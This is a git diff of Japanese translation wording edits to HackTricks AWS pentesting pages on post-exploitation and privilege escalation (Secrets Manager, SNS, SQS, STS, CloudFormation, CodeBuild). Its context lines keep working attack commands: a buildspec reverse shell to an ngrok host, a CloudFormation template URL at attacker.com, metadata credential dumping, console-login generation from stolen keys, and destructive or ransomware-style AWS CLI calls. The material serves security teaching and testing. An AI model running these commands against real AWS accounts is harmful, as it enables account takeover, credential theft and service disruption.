-バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその設定を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除（MFA削除）が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進行できます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェア化するのはより困難になります。
+バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその構成を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除（MFA削除）が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進むことができます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェアにするのはより困難になります。
 
 AWS APIを使用して、攻撃者は**バケット内の各オブジェクトを自分のKMSキーを使用して暗号化されたコピーに置き換えます**。これにより、バケット内のデータが暗号化され、キーなしではアクセスできなくなります。
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## Secrets Manager
 
-詳細については、次を確認してください：
+詳細については、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-secrets-manager-enum.md
@@ -12,11 +12,11 @@
 
 ### Read Secrets
 
-**シークレット自体は機密情報です**、[特権昇格ページを確認してください](../aws-privilege-escalation/aws-secrets-manager-privesc.md) それらを読む方法を学ぶために。
+**シークレット自体は機密情報です**、[権限昇格ページを確認してください](../aws-privilege-escalation/aws-secrets-manager-privesc.md) それらを読む方法を学ぶために。
 
 ### DoS Change Secret Value
 
-シークレットの値を変更すると、その値に依存する**すべてのシステムにDoSを引き起こす可能性があります。**
+シークレットの値を変更することで、その値に依存する**すべてのシステムにDoSを引き起こす可能性があります。**
 
 > [!WARNING]
 > 前の値も保存されているため、簡単に前の値に戻ることができます。
@@ -32,7 +32,7 @@ aws secretsmanager update-secret \
 --secret-id MyTestSecret \
 --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
 ```
-### DoS シークレットの削除
+### DoSによるシークレットの削除
 
 シークレットを削除するための最小日数は7日です。
 ```bash

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## SES
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-ses-enum.md
@@ -33,7 +33,7 @@ aws ses send-raw-email --raw-message file://message.json
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-まだテスト中です。
+まだテストする必要があります。
 
 ### `ses:SendBulkTemplatedEmail`
 
@@ -55,7 +55,7 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
-まだテスト中です。
+まだテストする必要があります。
 
 ### `ses:SendCustomVerificationEmail`
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md

@@ -32,7 +32,7 @@ aws sns publish --topic-arn <value> --message <value>
 
 ### `sns:SetTopicAttributes`
 
-攻撃者はSNSトピックの属性を変更することができ、これによりそのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
+攻撃者はSNSトピックの属性を変更することができ、そのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
 ```bash
 aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
 ```
@@ -45,7 +45,7 @@ aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attr
 aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 aws sns unsubscribe --subscription-arn <value>
 ```
-**潜在的な影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。
+**潜在的影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。
 
 ### `sns:AddPermission` , `sns:RemovePermission`
 
@@ -58,7 +58,7 @@ aws sns remove-permission --topic-arn <value> --label <value>
 
 ### `sns:TagResource` , `sns:UntagResource`
 
-攻撃者はSNSリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、およびアクセス制御ポリシーを混乱させる可能性があります。
+攻撃者はSNSリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。
 ```bash
 aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws sns untag-resource --resource-arn <value> --tag-keys <key>

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

@@ -12,12 +12,12 @@
 
 ### `sqs:SendMessage` , `sqs:SendMessageBatch`
 
-攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信し、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。
+攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信することで、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。
 ```bash
 aws sqs send-message --queue-url <value> --message-body <value>
 aws sqs send-message-batch --queue-url <value> --entries <value>
 ```
-**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
+**潜在的影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
 
 ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
 
@@ -27,7 +27,7 @@ aws sqs receive-message --queue-url <value>
 aws sqs delete-message --queue-url <value> --receipt-handle <value>
 aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
 ```
-**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、影響を受けたメッセージに依存するアプリケーションのサービス中断。
+**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、および影響を受けたメッセージに依存するアプリケーションのサービス中断。
 
 ### `sqs:DeleteQueue`
 
@@ -64,7 +64,7 @@ aws sqs untag-queue --queue-url <value> --tag-keys <key>
 
 ### `sqs:RemovePermission`
 
-攻撃者は、SQSキューに関連付けられたポリシーを削除することによって、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能に混乱を引き起こす可能性があります。
+攻撃者は、SQSキューに関連付けられたポリシーを削除することで、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能が妨げられる可能性があります。
 ```arduino
 arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
 ```

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md

@@ -1,10 +1,10 @@
-# AWS - SSO & identitystore Post Exploitation
+# AWS - SSO & identitystore ポストエクスプロイテーション
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## SSO & identitystore
 
-詳細については、次を確認してください：
+詳細については、以下を確認してください:
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
@@ -12,7 +12,7 @@
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-これらの権限は、権限を妨害するために使用できます：
+これらの権限は、権限を妨害するために使用できます:
 ```bash
 aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

@@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
 # Delete state machine alias
 aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
 ```
-- **潜在的な影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。
+- **潜在的影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。
 
 ### `states:UpdateMapRun`
 
-この権限を持つ攻撃者は、Map Runの失敗設定と並列設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。
+この権限を持つ攻撃者は、Map Runの失敗設定と並行設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。
 ```bash
 aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
 ```
@@ -45,18 +45,18 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
 
 ### `states:StopExecution`
 
-この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを中断させる可能性があります。これにより、未完了の取引、停止したビジネスオペレーション、そして潜在的なデータの破損が引き起こされる可能性があります。
+この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを中断させる可能性があります。これにより、未完了のトランザクション、停止したビジネスオペレーション、そして潜在的なデータの破損が発生する可能性があります。
 
 > [!WARNING]
 > このアクションは**エクスプレスステートマシン**ではサポートされていません。
 ```bash
 aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
 ```
-- **潜在的な影響**: 継続中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。
+- **潜在的な影響**: 進行中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。
 
 ### `states:TagResource`, `states:UntagResource`
 
-攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、及びアクセス制御ポリシーを混乱させる可能性があります。
+攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、組織のコスト配分、リソース追跡、及びタグに基づくアクセス制御ポリシーを混乱させる可能性があります。
 ```bash
 aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md

@@ -4,20 +4,20 @@
 
 ## STS
 
-詳細情報については：
+詳細情報:
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### IAMクレデンシャルからコンソールへ
+### IAM クレデンシャルからコンソールへ
 
-IAMクレデンシャルを取得できた場合、次のツールを使用して**ウェブコンソールにアクセスすること**に興味があるかもしれません。\
+IAM クレデンシャルを取得できた場合、次のツールを使用して**ウェブコンソールにアクセスすること**に興味があるかもしれません。\
 ユーザー/ロールは**`sts:GetFederationToken`**の権限を持っている必要があります。
 
 #### カスタムスクリプト
 
-次のスクリプトは、デフォルトプロファイルとデフォルトのAWSロケーション（政府および中国以外）を使用して、ウェブコンソールにログインするために使用できる署名付きURLを提供します：
+次のスクリプトは、デフォルトプロファイルとデフォルトの AWS ロケーション（政府および中国以外）を使用して、ウェブコンソールにログインするために使用できる署名付き URL を提供します:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \
 signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 
 
-
 # Give the URL to login
 echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
 ```
 #### aws_consoler
 
-[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler)を使用して**ウェブコンソールリンクを生成**できます。
+**ウェブコンソールリンクを生成**できます [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
 ```bash
 cd /tmp
 python3 -m venv env
@@ -65,11 +64,11 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> IAMユーザーが`sts:GetFederationToken`権限を持っていることを確認するか、引き受けるロールを提供してください。
+> IAMユーザーが `sts:GetFederationToken` 権限を持っていることを確認するか、引き受けるロールを提供してください。
 
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault)は、開発環境でAWSの認証情報を安全に保存し、アクセスするためのツールです。
+[**aws-vault**](https://github.com/99designs/aws-vault) は、開発環境でAWSの資格情報を安全に保存し、アクセスするためのツールです。
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
 
 ### **PythonからのUser-Agent制限のバイパス**
 
-**ユーザーエージェントに基づいて特定のアクションを実行する制限**がある場合（ユーザーエージェントに基づいてpython boto3ライブラリの使用を制限するなど）、前述の技術を使用して**ブラウザ経由でウェブコンソールに接続する**ことが可能です。または、次のようにして**boto3のユーザーエージェントを直接変更する**こともできます：
+**ユーザーエージェント**に基づいて特定のアクションを実行する制限がある場合（ユーザーエージェントに基づいてpython boto3ライブラリの使用を制限するなど）、前述の技術を使用して**ブラウザ経由でウェブコンソールに接続**することが可能です。または、次のようにして**boto3のユーザーエージェントを直接変更**することもできます。
 ```bash
 # Shared by ex16x41
 # Create a client

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## VPN
 
-詳細情報については：
+詳細情報:
 
 {{#ref}}
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/

src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md

@@ -10,8 +10,8 @@ AWSで権限を昇格させる方法は、他のロール/ユーザー/グルー
 > AWSには、エンティティに付与できる**数百**（場合によっては数千）の**権限**があります。この本では、**権限を昇格させるために悪用できるすべての権限**を見つけることができますが、ここに記載されていない**パスを知っている**場合は、**共有してください**。
 
 > [!CAUTION]
-> IAMポリシーに`"Effect": "Allow"`と`"NotAction": "Someaction"`があり、**リソース**を示している場合...それは**許可された主体**が**指定されたアクション以外のすべてを行う権限を持っている**ことを意味します。\
-> したがって、これは主体に**特権のある権限を付与する**別の方法であることを覚えておいてください。
+> IAMポリシーに`"Effect": "Allow"`と`"NotAction": "Someaction"`があり、**リソース**を示している場合... それは**許可された主体**が**指定されたアクション以外のすべてを行う権限を持っている**ことを意味します。\
+> したがって、これは主体に**特権的な権限を付与する**別の方法であることを覚えておいてください。
 
 **このセクションのページはAWSサービスによって整理されています。そこでは、権限を昇格させることができる権限を見つけることができます。**
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md

@@ -4,7 +4,7 @@
 
 ## Apigateway
 
-詳細については、次を確認してください：
+詳細については、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-api-gateway-enum.md
@@ -16,20 +16,20 @@
 ```bash
 aws --region <region> apigateway create-api-key
 ```
-**潜在的影響:** この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。
+**潜在的な影響:** この技術では特権昇格はできませんが、機密情報にアクセスできる可能性があります。
 
 ### `apigateway:GET`
 
-この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます（地域ごと）。
+この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます（リージョンごと）。
 ```bash
 aws --region <region> apigateway get-api-keys
 aws --region <region> apigateway get-api-key --api-key <key> --include-value
 ```
-**潜在的な影響:** この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。
+**潜在的な影響:** この技術では特権昇格はできませんが、機密情報にアクセスできる可能性があります。
 
 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
 
-これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます（脆弱なラムダを呼び出すなど）。
+これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます（脆弱なlambdaを呼び出すなど）。
 ```bash
 aws apigateway update-rest-api \
 --rest-api-id api-id \
@@ -42,7 +42,7 @@ aws apigateway update-rest-api \
 > [!NOTE]
 > テストが必要です
 
-`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAMロールが付与されたLambda関数を使用して既存のAPI Gateway REST APIに新しい統合を追加することができます**。攻撃者はその後、**Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります**。
+`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAMロールが付与されたLambda関数を持つ既存のAPI Gateway REST APIに新しい統合を追加することができます**。攻撃者はその後、**Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります**。
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 > [!NOTE]
 > テストが必要
 
-`apigateway:UpdateAuthorizer`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のAPI Gatewayオーソライザーを変更**して、セキュリティチェックを回避したり、APIリクエストが行われる際に任意のコードを実行したりすることができます。
+`apigateway:UpdateAuthorizer` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のAPI Gatewayオーソライザーを変更**して、セキュリティチェックをバイパスしたり、APIリクエストが行われる際に任意のコードを実行したりすることができます。
 ```bash
 API_ID="your-api-id"
 AUTHORIZER_ID="your-authorizer-id"
@@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 > [!NOTE]
 > テストが必要
 
-`apigateway:UpdateVpcLink`の権限を持つ攻撃者は、**既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります**。
+`apigateway:UpdateVpcLink` の権限を持つ攻撃者は、**既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります**。
 ```bash
 bashCopy codeVPC_LINK_ID="your-vpc-link-id"
 NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md

@@ -4,7 +4,7 @@
 
 ## cloudformation
 
-Cloudformationに関する詳細情報は、以下を確認してください：
+cloudformationに関する詳細情報は、以下を確認してください:
 
 {{#ref}}
 ../../aws-services/aws-cloudformation-and-codestar-enum.md
@@ -12,23 +12,23 @@ Cloudformationに関する詳細情報は、以下を確認してください：
 
 ### `iam:PassRole`, `cloudformation:CreateStack`
 
-これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することにより、**権限を昇格させることができます：**
+これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することで**権限を昇格させる**ことができます:
 ```bash
 aws cloudformation create-stack --stack-name <stack-name> \
 --template-url http://attacker.com/attackers.template \
 --role-arn <arn-role>
 ```
-以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイト例** があります：
+以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイトの例**があります：
 
 {{#ref}}
 iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
 {{#endref}}
 
-**潜在的な影響：** 指定されたcloudformationサービスロールへの権限昇格。
+**潜在的な影響:** 指定されたcloudformationサービスロールへの権限昇格。
 
 ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
 
-この場合、**既存のcloudformationスタックを悪用**してそれを更新し、前のシナリオのように権限を昇格させることができます：
+この場合、**既存のcloudformationスタックを悪用**して更新し、前のシナリオのように権限を昇格させることができます：
 ```bash
 aws cloudformation update-stack \
 --stack-name privesc \
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
 
 ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
 
-この権限を持っているが、**`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください（更新時にロールを指定しないでください）。
+この権限を持っているが **`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください（更新時にロールを指定しないでください）。
 
 `cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。
 
@@ -79,13 +79,13 @@ aws cloudformation describe-stacks \
 --stack-name privesc \
 --region eu-west-1
 ```
-`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `ChangeSet` 権限を付与**し、攻撃を実行できます。
+`cloudformation:SetStackPolicy` 権限を使用して、スタックに対して **自分に `ChangeSet` 権限を与える** ことができ、攻撃を実行できます。
 
 **潜在的な影響:** cloudformation サービスロールへの権限昇格。
 
 ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
 
-これは前の方法と似ていますが、**IAM ロール**を渡さずに行うため、**既にアタッチされているものを悪用**することができます。パラメータを変更するだけです：
+これは前の方法と似ていますが、**IAM ロール**を渡すことなく、すでにアタッチされているロールを **悪用する** ことができます。パラメータを変更するだけです:
 ```
 --change-set-type UPDATE
 ```

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md

@@ -55,14 +55,14 @@
 }
 }
 ```
-次に**cloudformationスタックを生成**します：
+次に**CloudFormationスタックを生成**します：
 ```bash
 aws cloudformation create-stack --stack-name privesc \
 --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
 --role arn:aws:iam::[REDACTED]:role/adminaccess \
 --capabilities CAPABILITY_IAM --region us-west-2
 ```
-**数分待って** スタックが生成されるのを待ち、その後 **出力を取得** します スタックの **資格情報が保存されている** ところ:
+**数分待って** スタックが生成されるのを待ち、次に **出力を取得** します スタックの **資格情報が保存されている** ところ:
 ```bash
 aws cloudformation describe-stacks \
 --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

@@ -4,7 +4,7 @@
 
 ## codebuild
 
-詳細情報は以下を参照してください：
+詳細情報は以下を参照してください:
 
 {{#ref}}
 ../aws-services/aws-codebuild-enum.md
@@ -12,7 +12,7 @@
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です：
+これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です:
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -137,12 +137,12 @@ aws codebuild start-build --project-name reverse-shell-project
 {{#endtab }}
 {{#endtabs }}
 
-**潜在的な影響:** どのAWS Codebuildロールへの直接的な権限昇格。
+**潜在的影響:** 任意のAWS Codebuildロールへの直接的な権限昇格。
 
 > [!WARNING]
 > **Codebuildコンテナ**内のファイル`/codebuild/output/tmp/env.sh`には、**メタデータ認証情報**にアクセスするために必要なすべての環境変数が含まれています。
 
-> このファイルには、**環境変数`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**が含まれており、**認証情報にアクセスするためのURLパス**が含まれています。それは次のようなものになります`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> このファイルには、**環境変数`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**が含まれており、認証情報にアクセスするための**URLパス**が含まれています。それは次のようなものになります`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
 
 > それをURL **`http://169.254.170.2/`**に追加すると、ロールの認証情報をダンプすることができます。
 
@@ -270,7 +270,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 
 **SSMセッションを開始するのに十分な権限があれば、**ビルド中の**Codebuildプロジェクトに入ることが可能です。**
 
-Codebuildプロジェクトにはブレークポイントが必要です：
+Codebuildプロジェクトにはブレークポイントが必要です:
 
 <pre class="language-yaml"><code class="lang-yaml">phases:
 pre_build:
@@ -280,18 +280,18 @@ commands:
 <strong>      - codebuild-breakpoint
 </strong></code></pre>
 
-そして：
+そして次に:
 ```bash
 aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
 aws ssm start-session --target <sessionTarget> --region <region>
 ```
-For more info [**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。
+詳細については[**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。
 
-### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
+### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)、`s3:GetObject`、`s3:PutObject`
 
-特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者が、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。
+特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者は、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。
 
-注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。おそらく、より特権のある役割です。
+注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。希望的には、より特権的な役割です。
 ```bash
 aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
 
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name <project-name>
 
 # Wait for the reverse shell :)
 ```
-あなたはこのような**buildspec**を使用して**reverse shell**を取得できます：
+このような **buildspec** を使用して **reverse shell** を取得できます：
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -317,13 +317,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**影響:** 通常高い権限を持つAWS CodeBuildワーカーによって使用されるロールへの直接的な権限昇格。
+**影響:** AWS CodeBuild ワーカーによって使用されるロールへの直接的な特権昇格で、通常は高い権限を持っています。
 
 > [!WARNING]
-> buildspecはzip形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから`buildspec.yml`を修正し、再度zip化してアップロードする必要があります。
+> buildspec は zip 形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから `buildspec.yml` を修正し、再度 zip してアップロードする必要があります。
 
-詳細は[こちら](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)で確認できます。
+詳細は [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) で確認できます。
 
-**潜在的な影響:** 添付されたAWS Codebuildロールへの直接的な権限昇格。
+**潜在的な影響:** 添付された AWS Codebuild ロールへの直接的な特権昇格。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md

@@ -4,7 +4,7 @@
 
 ## codepipeline
 
-Codepipelineに関する詳細情報は以下を確認してください:
+codepipelineに関する詳細情報は以下を確認してください:
 
 {{#ref}}
 ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -12,13 +12,13 @@ Codepipelineに関する詳細情報は以下を確認してください:
 
 ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
 
-コードパイプラインを作成する際に、**実行するためのcodepipeline IAMロールを指定**できます。したがって、それらを侵害することができます。
+コードパイプラインを作成する際に、**実行するためのcodepipeline IAMロールを指定**できます。したがって、それらを妥協することができます。
 
-前述の権限に加えて、**コードが保存されている場所へのアクセスが必要**です（S3、ECR、github、bitbucket...）。
+前述の権限に加えて、**コードが保存されている場所へのアクセス**（S3、ECR、github、bitbucket...）が必要です。
 
-私はこのプロセスをウェブページでテストしましたが、前述の権限はコードパイプラインを作成するために必要なList/Get権限ではありませんが、ウェブで作成するためには次の権限も必要です: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
+私はこのプロセスをウェブページでテストしましたが、前述の権限はコードパイプラインを作成するために必要なList/Get権限ではありませんが、ウェブで作成するには以下も必要です: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
 
-**ビルドプロジェクトの作成中**に、**実行するコマンド**（rev shell?）を指定し、**特権ユーザー**としてビルドフェーズを実行することができます。これが攻撃者が侵害するために必要な設定です:
